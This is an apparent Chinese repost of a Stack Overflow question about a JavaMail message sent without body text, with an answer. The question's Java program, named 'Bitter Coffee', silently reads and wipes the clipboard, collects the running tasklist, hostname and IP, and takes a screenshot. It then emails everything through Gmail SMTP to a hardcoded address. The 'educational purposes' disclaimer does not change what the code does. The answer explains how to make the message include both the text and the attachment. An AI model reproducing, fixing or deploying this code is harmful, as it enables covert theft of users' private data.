gpt4 book ai didi

带附件的 Javamail 电子邮件 : Text not being sent

转载 作者:行者123 更新时间:2023-12-01 14:20:00 25 4
gpt4 key购买 nike

我正在尝试创建一个程序,用于发送包含某些数据和附件的电子邮件,但由于某种原因,未收到电子邮件中的文本。整个代码为:

import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.datatransfer.DataFlavor;
import java.awt.datatransfer.StringSelection;
import java.awt.datatransfer.Transferable;
import java.awt.image.BufferedImage;
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.*;
import javax.activation.*;
import javax.imageio.ImageIO;
import javax.mail.*;
import javax.mail.internet.*;

/* Terms of Use
* Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only
* No data received from this app is used for any other purpose except the ones above
* Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)
* You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)
* Silver is NOT responsible for any damages, physical or virtual, caused by this program
* Clipboard, Screen Capture and Task-list checkers based off programs by csanuragjain (http://www.codeproject.com/Members/csanuragjain)
* SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])
* Copyright IdreesInc.com All rights reserved
*/

public class Application {

public static void main(String[] args) {

final String username = "javasmtpserver@gmail.com";
final String password = "password";
String data = null;
BufferedReader input = null;
String commandOutput = "";
InetAddress ip = null;
String hostname = null;
boolean allowEmails = true; //Allows or Blocks the application's ability to send emails

//Clipboard Copier
Transferable t = Toolkit.getDefaultToolkit().getSystemClipboard().getContents(null);

try {
if (t != null && t.isDataFlavorSupported(DataFlavor.stringFlavor)) {
String text = (String)t.getTransferData(DataFlavor.stringFlavor);
data = text;
System.out.println("Current clipboard data:\n"+data); //Prints Clipboard data
text=""; //String is now empty
StringSelection ss = new StringSelection(text); //Clears Clipboard data
Toolkit.getDefaultToolkit().getSystemClipboard().setContents(ss, null);
System.out.println("Clipboard data wiped successfully" + text); //Displays "text" string after output for debugging

}
}
catch(Exception e)
{



}
//Tasklist Copier
try {
String line;
Process p = Runtime.getRuntime().exec("tasklist.exe"); //Accesses running task-list
input =
new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((line = input.readLine()) != null) {
System.out.println(line); //Data is parsed
commandOutput += line;
line = input.readLine();
}
input.close();

} catch (Exception err) {
err.printStackTrace();
}

//IP Address Tracker
try {
ip = InetAddress.getLocalHost();
hostname = ip.getHostName();
System.out.println("IP address : " + ip);
System.out.println("Hostname : " + hostname);

} catch (UnknownHostException e) {
e.printStackTrace();
}

//Screen Capture
try
{
Dimension size = Toolkit.getDefaultToolkit().getScreenSize();
Robot robot = new Robot();
BufferedImage img = robot.createScreenCapture(new Rectangle(size));
File save_path=new File("errorcapture.png");
ImageIO.write(img, "png", save_path);
System.out.println("Screen successfully captured");
}
catch(Exception e)
{

}

//Data Sender
if(allowEmails) {

Properties props = new Properties();
props.put("mail.smtp.auth", true);
props.put("mail.smtp.starttls.enable", true);
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.port", "587");

Session session = Session.getInstance(props,
new javax.mail.Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(username, password);
}
});

try {

Message message = new MimeMessage(session);
message.setFrom(new InternetAddress("javasmtpserver@gmail.com"));
message.setRecipients(Message.RecipientType.TO,
InternetAddress.parse("javasmtpserver@gmail.com"));
message.setSubject("Application 'Bitter Coffee' Has Been Activated By " + hostname);
message.setText("Application 'Bitter Coffee' has been activated by " + hostname + " (" + ip + ") and has ran successfully" + "<br><br>The activators information is as follows: " + "<br><br>Hostname: " + hostname + "<br>Server IP Address: " + ip + "<br><br>Clipboard Data: " + data + "<br><br><br>Active Tasks: " + commandOutput + "<br><br><br>Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only<br>No data received from this app is used for any other purpose except the ones above<br>Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)<br>You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)<br>I am not responsible for any damages, physical or virtual, caused by this program<br>Clipboard and Task-list checkers based off programs by csanuragjain (www.codeproject.com/Members/csanuragjain)<br>SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])<br><br>Copyright IdreesInc.com All rights reserved");

MimeBodyPart messageBodyPart = new MimeBodyPart();

Multipart multipart = new MimeMultipart();

messageBodyPart = new MimeBodyPart();
String file = "errorcapture.png";
String fileName = "errorcapture.png";
DataSource source = new FileDataSource(file);
messageBodyPart.setDataHandler(new DataHandler(source));
messageBodyPart.setFileName(fileName);
multipart.addBodyPart(messageBodyPart);

message.setContent(multipart);

System.out.println("Sending");

Transport.send(message);

System.out.println("Done");

} catch (MessagingException e) {
e.printStackTrace();
}
}
}
}

包含 javamail sender 程序的部分在这里:

 //Data Sender
if(allowEmails) {

Properties props = new Properties();
props.put("mail.smtp.auth", true);
props.put("mail.smtp.starttls.enable", true);
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.port", "587");

Session session = Session.getInstance(props,
new javax.mail.Authenticator() {
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(username, password);
}
});

try {

Message message = new MimeMessage(session);
message.setFrom(new InternetAddress("javasmtpserver@gmail.com"));
message.setRecipients(Message.RecipientType.TO,
InternetAddress.parse("javasmtpserver@gmail.com"));
message.setSubject("Application 'Bitter Coffee' Has Been Activated By " + hostname);
message.setText("This is the body text that won't show up");

MimeBodyPart messageBodyPart = new MimeBodyPart();

Multipart multipart = new MimeMultipart();

messageBodyPart = new MimeBodyPart();
String file = "errorcapture.png";
String fileName = "errorcapture.png";
DataSource source = new FileDataSource(file);
messageBodyPart.setDataHandler(new DataHandler(source));
messageBodyPart.setFileName(fileName);
multipart.addBodyPart(messageBodyPart);

message.setContent(multipart);

System.out.println("Sending");

Transport.send(message);

System.out.println("Done");

} catch (MessagingException e) {
e.printStackTrace();
}
}

请详细解释一下,因为我是 Java 的菜鸟。感谢您的所有帮助! :)如果我错过了帖子中的任何内容,请告诉我,因为这只是我的第二次或第三次 S.O.问题

最佳答案

您从哪里复制并粘贴该代码?

JavaMail FAQ有很多技巧,包括调试技巧。阅读它。

您将找到示例 JavaMail 程序 here ,向您展示如何创建带有附件的邮件等。

您的特殊问题是您的多部分需要两个正文部分 - 一个用于正文,一个用于附件。

关于带附件的 Javamail 电子邮件 : Text not being sent,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/17690897/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com